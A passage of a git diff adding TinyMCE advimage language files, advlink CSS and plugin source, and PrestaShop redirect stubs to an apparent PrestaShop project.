+tinyMCE.addI18n('th.advimage_dlg',{"image_list":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e23\u0e39\u0e1b","align_right":"\u0e02\u0e27\u0e32","align_left":"\u0e0b\u0e49\u0e32\u0e22","align_textbottom":"\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e2d\u0e22\u0e39\u0e48\u0e25\u0e48\u0e32\u0e07","align_texttop":"\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e2d\u0e22\u0e39\u0e48\u0e1a\u0e19","align_bottom":"\u0e25\u0e48\u0e32\u0e07","align_middle":"\u0e01\u0e25\u0e32\u0e07","align_top":"\u0e1a\u0e19","align_baseline":"\u0e40\u0e2a\u0e49\u0e19\u0e1e\u0e37\u0e49\u0e19",align:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e08\u0e31\u0e14\u0e27\u0e32\u0e07",hspace:"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",vspace:"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07",dimensions:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07",border:"\u0e01\u0e23\u0e2d\u0e1a",list:"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e23\u0e39\u0e1b",alt:"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e23\u0e39\u0e1b",src:"\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48\u0e23\u0e39\u0e1b","dialog_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 image","missing_alt":"\u0e04\u0e38\u0e13\u0e41\u0e19\u0e48\u0e43\u0e08\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48\u0e27\u0e48\u0e32\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e14\u0e33\u0e40\u0e19\u0e34\u0e19\u0e01\u0e32\u0e23\u0e15\u0e48\u0e2d\u0e42\u0e14\u0e22\u0e44\u0e21\u0e48\u0e43\u0e2a\u0e48\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e ? \u0e01\u0e32\u0e23\u0e43\u0e2a\u0e48\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22\u0e23\u0e39\u0e1b\u0e17\u0e33\u0e43\u0e2b\u0e49\u0e1c\u0e39\u0e49\u0e1e\u0e34\u0e01\u0e32\u0e23\u0e17\u0e32\u0e07\u0e2a\u0e32\u0e22\u0e15\u0e32\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e23\u0e39\u0e49\u0e44\u0e14\u0e49\u0e27\u0e48\u0e32\u0e23\u0e39\u0e1b\u0e04\u0e38\u0e13\u0e04\u0e37\u0e2d\u0e23\u0e39\u0e1b\u0e2d\u0e30\u0e44\u0e23","example_img":"\u0e14\u0e39\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e25\u0e31\u0e01\u0e29\u0e13\u0e30\u0e02\u0e2d\u0e07\u0e23\u0e39\u0e1b",misc:"\u0e40\u0e1a\u0e47\u0e14\u0e40\u0e15\u0e25\u0e47\u0e14",mouseout:"\u0e40\u0e21\u0e37\u0e48\u0e2d\u0e40\u0e2d\u0e32\u0e40\u0e21\u0e49\u0e32\u0e2a\u0e4c\u0e2d\u0e2d\u0e01",mouseover:"\u0e40\u0e21\u0e37\u0e48\u0e2d\u0e40\u0e2d\u0e32\u0e40\u0e21\u0e49\u0e32\u0e2a\u0e4c\u0e0a\u0e35\u0e49","alt_image":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e23\u0e39\u0e1b","swap_image":"Swap image",map:"Image map",id:"Id",rtl:"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22",ltr:"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",classes:"\u0e04\u0e25\u0e32\u0e2a",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","long_desc":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c",langcode:"\u0e42\u0e04\u0e49\u0e14\u0e20\u0e32\u0e29\u0e32",langdir:"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e01\u0e32\u0e23\u0e2d\u0e48\u0e32\u0e19","constrain_proportions":"\u0e04\u0e07\u0e2a\u0e31\u0e14\u0e2a\u0e48\u0e27\u0e19",preview:"\u0e14\u0e39\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07",title:"\u0e0a\u0e37\u0e48\u0e2d",general:"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","tab_advanced":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","tab_appearance":"\u0e25\u0e31\u0e01\u0e29\u0e13\u0e30","tab_general":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/tr_dlg.js b/js/tiny_mce2/plugins/advimage/langs/tr_dlg.js new file mode 100755 index 0000000..0a1868d --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.advimage_dlg',{"image_list":"Resim listesi","align_right":"Sa\u011f","align_left":"Sol","align_textbottom":"Metin altta","align_texttop":"Metin \u00fcstte","align_bottom":"Alt","align_middle":"Orta","align_top":"\u00dcst","align_baseline":"Taban hizas\u0131",align:"Hizalama",hspace:"Yatay bo\u015fluk",vspace:"Dikey bo\u015fluk",dimensions:"Boyutlar",border:"Kenarl\u0131k",list:"Resim listesi",alt:"Resim a\u00e7\u0131klamas\u0131",src:"Resmin URL\'si","dialog_title":"Resim ekle/d\u00fczenle","missing_alt":"Resim a\u00e7\u0131klamas\u0131 girmeden devam etmek istedi\u011finize emini misiniz? Bu olmadan taray\u0131c\u0131da resimleri kapatanlar, metin bazl\u0131 taray\u0131c\u0131lar veya resim baz\u0131 engelli kullan\u0131c\u0131lar g\u00f6remeyeceklerdir.","example_img":"Resim \u00f6nizleme g\u00f6r\u00fcn\u00fcm\u00fc",misc:"\u00c7e\u015fitli",mouseout:"Fare d\u0131\u015f\u0131ndayken",mouseover:"Fare \u00fczerindeyken","alt_image":"Alternatif resim","swap_image":"Resmi takas et",map:"Resim haritas\u0131",id:"Id",rtl:"Soldan sa\u011fa",ltr:"Sa\u011fdan sola",classes:"S\u0131n\u0131fla",style:"Stil","long_desc":"Uzun a\u00e7\u0131klamal\u0131 ba\u011flant\u0131",langcode:"Dil kodu",langdir:"Dil y\u00f6n\u00fc","constrain_proportions":"Oran\u0131 s\u0131n\u0131rla",preview:"\u00d6nizleme",title:"Ba\u015fl\u0131k",general:"Genel","tab_advanced":"Geli\u015fmi\u015f","tab_appearance":"G\u00f6r\u00fcn\u00fcm","tab_general":"Genel",width:"Geni\u015flik",height:"Y\u00fckseklik"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/tw_dlg.js b/js/tiny_mce2/plugins/advimage/langs/tw_dlg.js new file mode 100755 index 0000000..25d4d86 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.advimage_dlg',{"image_list":"\u5716\u7247\u6e05\u55ae","align_right":"\u9760\u53f3","align_left":"\u9760\u5de6","align_textbottom":"\u6587\u5b57\u4e0b\u65b9","align_texttop":"\u6587\u5b57\u4e0a\u65b9","align_bottom":"\u9760\u4e0b","align_middle":"\u7f6e\u4e2d","align_top":"\u9760\u4e0a","align_baseline":"\u57fa\u6e96\u7dda",align:"\u5c0d\u9f4a\u65b9\u5f0f",hspace:"\u6c34\u5e73\u9593\u8ddd",vspace:"\u5782\u76f4\u9593\u8ddd",dimensions:"\u5c3a\u5bf8",border:"\u908a\u6846",list:"\u5716\u7247\u6e05\u55ae",alt:"\u5716\u7247\u8aaa\u660e",src:"\u5716\u7247URL","dialog_title":"\u63d2\u5165/\u7de8\u8f2f\u5716\u7247","missing_alt":"\u5716\u7247\u6c92\u6709\u8aaa\u660e\u6587\u5b57\uff0c\u662f\u5426\u7e7c\u7e8c\uff1f","example_img":"\u5716\u7247\u5916\u89c0\u9810\u89bd",misc:"\u5176\u5b83",mouseout:"\u6ed1\u9f20\u79fb\u51fa",mouseover:"\u6ed1\u9f20\u79fb\u5165","alt_image":"\u53d6\u4ee3\u5716\u7247","swap_image":"\u5716\u7247\u5207\u63db",map:"\u5716\u7247 Map",id:"ID",rtl:"\u5f9e\u53f3\u5230\u5de6",ltr:"\u5f9e\u5de6\u5230\u53f3",classes:"\u985e\u5225",style:"\u6a23\u5f0f","long_desc":"\u9577\u63cf\u8ff0\u9023\u7d50",langcode:"\u8a9e\u8a00\u7de8\u78bc",langdir:"\u8a9e\u8a00\u66f8\u5beb\u65b9\u5411","constrain_proportions":"\u9396\u5b9a\u6bd4\u4f8b",preview:"\u9810\u89bd",title:"\u6a19\u984c",general:"\u4e00\u822c","tab_advanced":"\u9032\u968e","tab_appearance":"\u5916\u89c0","tab_general":"\u4e00\u822c",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/uk_dlg.js b/js/tiny_mce2/plugins/advimage/langs/uk_dlg.js new file mode 100755 index 0000000..5692313 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.advimage_dlg',{"image_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u044c","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_left":"\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_textbottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0443","align_texttop":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0443","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_baseline":"\u041f\u043e \u0431\u0430\u0437\u043e\u0432\u0456\u0439 \u043b\u0456\u043d\u0456\u0457",align:"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",hspace:"\u0413\u043e\u0440\u0438\u0437. \u0432\u0456\u0434\u0441\u0442\u0443\u043f",vspace:"\u0412\u0435\u0440\u0442. \u0432\u0456\u0434\u0441\u0442\u0443\u043f",dimensions:"\u0420\u043e\u0437\u043c\u0456\u0440\u0438",border:"\u0420\u0430\u043c\u043a\u0430",list:"\u0421\u043f\u0438\u0441\u043e\u043a \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u044c",alt:"\u041e\u043f\u0438\u0441",src:"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043d\u0430 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","dialog_title":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","missing_alt":"\u0412\u0438 \u0432\u043f\u0435\u0432\u043d\u0435\u043d\u043d\u0456, \u0449\u043e \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u043f\u0440\u043e\u0434\u043e\u0432\u0436\u0438\u0442\u0438 \u0431\u0435\u0437 \u043e\u043f\u0438\u0441\u0443 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f? \u0411\u0435\u0437 \u0446\u044c\u043e\u0433\u043e, \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f \u043d\u0435 \u0431\u0443\u0434\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0438\u043c \u0434\u0435\u044f\u043a\u0438\u043c \u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430\u043c \u0437 \u0432\u0430\u0434\u0430\u043c\u0438, \u0430\u0431\u043e \u0442\u0438\u043c, \u0445\u0442\u043e \u043a\u043e\u0440\u0438\u0442\u0443\u0454\u0442\u044c\u0441\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0438\u043c\u0438 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u0434\u0430\u0447\u0430\u043c\u0438, \u0430\u0431\u043e \u043f\u0440\u043e\u0433\u043b\u044f\u0434\u0430\u0454 \u0456\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438 \u0437 \u0432\u0438\u043c\u043a\u043d\u0435\u043d\u0438\u043c\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f\u043c\u0438.","example_img":"\u0412\u0438\u0433\u043b\u044f\u0434 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u0434\u0443 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",misc:"\u0406\u043d\u0448\u0435",mouseout:"\u043f\u0440\u0438 \u0432\u0456\u0434\u0432\u0435\u0434\u0435\u043d\u043d\u0456",mouseover:"\u043f\u0440\u0438 \u043d\u0430\u0432\u0435\u0434\u0435\u043d\u043d\u0456","alt_image":"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","swap_image":"\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f \u0437\u0430\u043c\u0456\u043d\u043d\u0438\u043a",map:"\u041c\u0430\u043f\u0430 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",id:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043b\u0456\u0432\u043e\u0440\u0443\u0447",ltr:"\u0417\u043b\u0456\u0432\u0430 \u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",classes:"\u041a\u043b\u0430\u0441\u0438",style:"\u0421\u0442\u0438\u043b\u044c","long_desc":"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043d\u0430 \u043f\u043e\u0432\u043d\u0438\u0439 \u043e\u043f\u0438\u0441",langcode:"\u041a\u043e\u0434 \u043c\u043e\u0432\u0438",langdir:"\u041d\u0430\u043f\u0440\u044f\u043c\u043e\u043a \u043c\u043e\u0432\u0438","constrain_proportions":"\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0456\u0457",preview:"\u041f\u0435\u0440\u0435\u0433\u043b\u044f\u0434",title:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",general:"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","tab_advanced":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e","tab_appearance":"\u0412\u0438\u0433\u043b\u044f\u0434","tab_general":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/vi_dlg.js b/js/tiny_mce2/plugins/advimage/langs/vi_dlg.js new file mode 100755 index 0000000..361b0b8 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.advimage_dlg',{"image_list":"Danh s\u00e1ch \u1ea3nh","align_right":"Ph\u1ea3i","align_left":"Tr\u00e1i","align_textbottom":"V\u0103n b\u1ea3n d\u01b0\u1edbi c\u00f9ng","align_texttop":"V\u0103n b\u1ea3n tr\u00ean c\u00f9ng","align_bottom":"D\u01b0\u1edbi c\u00f9ng","align_middle":"Gi\u1eefa","align_top":"Tr\u00ean c\u00f9ng","align_baseline":"D\u00f2ng c\u01a1 s\u1edf",align:"Canh l\u1ec1",hspace:"Kho\u1ea3ng c\u00e1ch ngang",vspace:"Kho\u1ea3ng c\u00e1ch d\u1ecdc",dimensions:"K\u00edch th\u01b0\u1edbc",border:"Vi\u1ec1n",list:"Danh s\u00e1ch \u1ea3nh",alt:"M\u00f4 t\u1ea3 \u1ea3nh",src:"URL \u1ea3nh","dialog_title":"Ch\u00e8n/s\u1eeda \u1ea3nh","missing_alt":"Ti\u1ebfp t\u1ee5c v\u1edbi \u0111\u01b0\u1eddng d\u1eabn kh\u00f4ng t\u1ed3n t\u1ea1i ?.","example_img":"Hi\u1ec3n th\u1ecb h\u00ecnh \u1ea3nh xem tr\u01b0\u1edbc",misc:"Linh tinh",mouseout:"cho chu\u1ed9t ra",mouseover:"cho chu\u1ed9t l\u00ean","alt_image":"\u1ea2nh thay th\u1ebf","swap_image":"Trao \u0111\u1ed5i \u1ea3nh",map:"S\u01a1 \u0111\u1ed3 \u1ea3nh",id:"Id",rtl:"Ph\u1ea3i qua tr\u00e1i",ltr:"Tr\u00e1i qua ph\u1ea3i",classes:"L\u1edbp",style:"Ki\u1ec3u d\u00e1ng","long_desc":"Li\u00ean k\u1ebft m\u00f4 t\u1ea3 d\u00e0i",langcode:"M\u00e3 ng\u00f4n ng\u1eef",langdir:"H\u01b0\u1edbng ng\u00f4n ng\u1eef","constrain_proportions":"R\u00e0ng bu\u1ed9c t\u1ec9 l\u1ec7",preview:"Xem tr\u01b0\u1edbc",title:"Ti\u00eau \u0111\u1ec1",general:"Chung","tab_advanced":"N\u00e2ng cao","tab_appearance":"Xu\u1ea5t hi\u1ec7n","tab_general":"Chung",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/advimage/langs/zh-cn_dlg.js new file mode 100755 index 0000000..5cf6bf5 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.advimage_dlg',{"image_list":"\u56fe\u7247\u5217\u8868","align_right":"\u53f3\u5bf9\u9f50","align_left":"\u5de6\u5bf9\u9f50","align_textbottom":"\u6587\u5b57\u4e0b\u65b9","align_texttop":"\u6587\u5b57\u4e0a\u65b9","align_bottom":"\u5e95\u7aef\u5bf9\u9f50","align_middle":"\u5c45\u4e2d\u5bf9\u9f50","align_top":"\u9876\u7aef\u5bf9\u9f50","align_baseline":"\u5e95\u7ebf",align:"\u5bf9\u9f50",hspace:"\u6c34\u5e73\u8ddd\u79bb",vspace:"\u5782\u76f4\u8ddd\u79bb",dimensions:"\u5c3a\u5bf8",border:"\u8fb9\u6846",list:"\u56fe\u7247\u5217\u8868",alt:"\u56fe\u7247\u63cf\u8ff0",src:"\u56fe\u7247\u94fe\u63a5","dialog_title":"\u63d2\u5165/\u7f16\u8f91 \u56fe\u7247","missing_alt":"\u56fe\u7247\u6ca1\u6709\u8bf4\u660e\u6587\u5b57\uff0c\u60a8\u662f\u5426\u8981\u7ee7\u7eed\uff1f\u6ca1\u6709\u8bf4\u660e\u6587\u5b57\u7684\u56fe\u7247\uff0c\u53ef\u80fd\u7ed9\u6b8b\u75be\u4eba\u58eb\u3001\u6587\u672c\u6d4f\u89c8\u5668\u6216\u5173\u95ed\u56fe\u7247\u529f\u80fd\u7684\u6d4f\u89c8\u5668\u8bbf\u95ee\u9020\u6210\u56f0\u96be\u3002","example_img":"\u5916\u89c2\u9884\u89c8\u56fe",misc:"\u5176\u4ed6",mouseout:"\u9f20\u6807\u6ed1\u51fa",mouseover:"\u9f20\u6807\u6ed1\u5165","alt_image":"\u66ff\u6362\u56fe\u7247","swap_image":"\u56fe\u7247\u5207\u6362",map:"\u56fe\u7247map",id:"ID",rtl:"\u4ece\u53f3\u5230\u5de6",ltr:"\u4ece\u5de6\u5230\u53f3",classes:"\u7c7b\u522b",style:"\u6837\u5f0f","long_desc":"\u957f\u63cf\u8ff0\u94fe\u63a5",langcode:"\u8bed\u8a00\u7f16\u7801",langdir:"\u8bed\u8a00\u6587\u5b57\u65b9\u5411","constrain_proportions":"\u4fdd\u6301\u6bd4\u4f8b",preview:"\u9884\u89c8",title:"\u6807\u9898",general:"\u666e\u901a","tab_advanced":"\u9ad8\u7ea7","tab_appearance":"\u5916\u89c2","tab_general":"\u666e\u901a",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/advimage/langs/zh-tw_dlg.js new file mode 100755 index 0000000..9f51ade --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.advimage_dlg',{"image_list":"\u5716\u7247\u6e05\u55ae","align_right":"\u5411\u53f3\u5c0d\u9f4a","align_left":"\u5411\u5de6\u5c0d\u9f4a","align_textbottom":"\u6587\u5b57\u4e0b\u65b9","align_texttop":"\u6587\u81ea\u4e0a\u65b9","align_bottom":"\u4e0b\u65b9","align_middle":"\u4e2d\u9593","align_top":"\u4e0a\u65b9","align_baseline":"\u57fa\u6e96\u7dda",align:"\u5c0d\u9f4a\u65b9\u5f0f",hspace:"\u6c34\u5e73\u8ddd\u96e2",vspace:"\u5782\u76f4\u8ddd\u96e2",dimensions:"\u5c3a\u5bf8",border:"\u6846\u67b6",list:"\u5716\u7247\u6e05\u55ae",alt:"\u5716\u7247\u8aaa\u660e",src:"\u5716\u7247 URL","dialog_title":"\u52a0\u5165 / \u8a2d\u5b9a\u5716\u7247","missing_alt":"\u60a8\u7684\u5716\u7247\u6c92\u6709\u8aaa\u660e\uff0c\u9019\u53ef\u80fd\u6703\u8b93\u4e00\u4e9b\u7db2\u53cb\u700f\u89bd\u6642\u6709\u4e9b\u9ebb\u7169\uff0c\u60a8\u78ba\u5b9a\u8981\u5ffd\u7565\u5b83\u55ce\uff1f","example_img":"\u9810\u89bd\u5716\u7247",misc:"\u5176\u4ed6\u8a2d\u5b9a",mouseout:"\u6ed1\u9f20\u79fb\u958b\u7684\u6642\u5019",mouseover:"\u6ed1\u9f20\u79fb\u5230\u5716\u7247\u4e0a\u7684\u6642\u5019","alt_image":"\u66ff\u63db\u5716\u7247","swap_image":"\u66f4\u63db\u5716\u7247\u6548\u679c",map:"\u5f71\u50cf\u5730\u5716",id:"\u5716\u7247\u7684 ID",rtl:"\u5411\u53f3\u908a\u5230\u5de6\u908a",ltr:"\u5411\u5de6\u908a\u5230\u53f3\u908a",classes:"\u985e\u5225 (Class)",style:"\u6a23\u5f0f","long_desc":"\u66ff\u4ee3\u5716\u7247",langcode:"\u8a9e\u7cfb\u4ee3\u865f",langdir:"\u66f8\u5beb\u65b9\u5411","constrain_proportions":"\u7dad\u6301\u5716\u7247\u6bd4\u4f8b",preview:"\u9810\u89bd",title:"\u6a19\u984c",general:"\u4e00\u822c","tab_advanced":"\u5176\u4ed6\u8a2d\u5b9a","tab_appearance":"\u5916\u89c0\u6a23\u5f0f","tab_general":"\u4e00\u822c",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/css/advlink.css b/js/tiny_mce2/plugins/advlink/css/advlink.css new file mode 100755 index 0000000..66c6549 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/css/advlink.css @@ -0,0 +1,8 @@ +.mceLinkList, .mceAnchorList, #targetlist {width:280px;} +.mceActionPanel {margin-top:7px;} +.panel_wrapper div.current {height:320px;} +#classlist, #title, #href {width:280px;} +#popupurl, #popupname {width:200px;} +#popupwidth, #popupheight, #popupleft, #popuptop {width:30px;vertical-align:middle;text-align:center;} +#id, #style, #classes, #target, #dir, #hreflang, #lang, #charset, #type, #rel, #rev, #tabindex, #accesskey {width:200px;} +#events_panel input {width:200px;} diff --git a/js/tiny_mce2/plugins/advlink/css/index.php b/js/tiny_mce2/plugins/advlink/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/advlink/editor_plugin.js b/js/tiny_mce2/plugins/advlink/editor_plugin.js new file mode 100755 index 0000000..983fe5a --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.AdvancedLinkPlugin",{init:function(a,b){this.editor=a;a.addCommand("mceAdvLink",function(){var c=a.selection;if(c.isCollapsed()&&!a.dom.getParent(c.getNode(),"A")){return}a.windowManager.open({file:b+"/link.htm",width:480+parseInt(a.getLang("advlink.delta_width",0)),height:400+parseInt(a.getLang("advlink.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("link",{title:"advlink.link_desc",cmd:"mceAdvLink"});a.addShortcut("ctrl+k","advlink.advlink_desc","mceAdvLink");a.onNodeChange.add(function(d,c,f,e){c.setDisabled("link",e&&f.nodeName!="A");c.setActive("link",f.nodeName=="A"&&!f.name)})},getInfo:function(){return{longname:"Advanced link",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlink",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advlink",tinymce.plugins.AdvancedLinkPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/editor_plugin_src.js b/js/tiny_mce2/plugins/advlink/editor_plugin_src.js new file mode 100755 index 0000000..32ea8f3 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/editor_plugin_src.js @@ -0,0 +1,61 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.AdvancedLinkPlugin', { + init : function(ed, url) { + this.editor = ed; + + // Register commands + ed.addCommand('mceAdvLink', function() { + var se = ed.selection; + + // No selection and not in link + if (se.isCollapsed() && !ed.dom.getParent(se.getNode(), 'A')) + return; + + ed.windowManager.open({ + file : url + '/link.htm', + width : 480 + parseInt(ed.getLang('advlink.delta_width', 0)), + height : 400 + parseInt(ed.getLang('advlink.delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + // Register buttons + ed.addButton('link', { + title : 'advlink.link_desc', + cmd : 'mceAdvLink' + }); + + ed.addShortcut('ctrl+k', 'advlink.advlink_desc', 'mceAdvLink'); + + ed.onNodeChange.add(function(ed, cm, n, co) { + cm.setDisabled('link', co && n.nodeName != 'A'); + cm.setActive('link', n.nodeName == 'A' && !n.name); + }); + }, + + getInfo : function() { + return { + longname : 'Advanced link', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlink', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('advlink', tinymce.plugins.AdvancedLinkPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/index.php b/js/tiny_mce2/plugins/advlink/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/advlink/js/advlink.js b/js/tiny_mce2/plugins/advlink/js/advlink.js new file mode 100755 index 0000000..2862e4c --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/js/advlink.js @@ -0,0 +1,539 @@ +/* Functions for the advlink plugin popup */ + 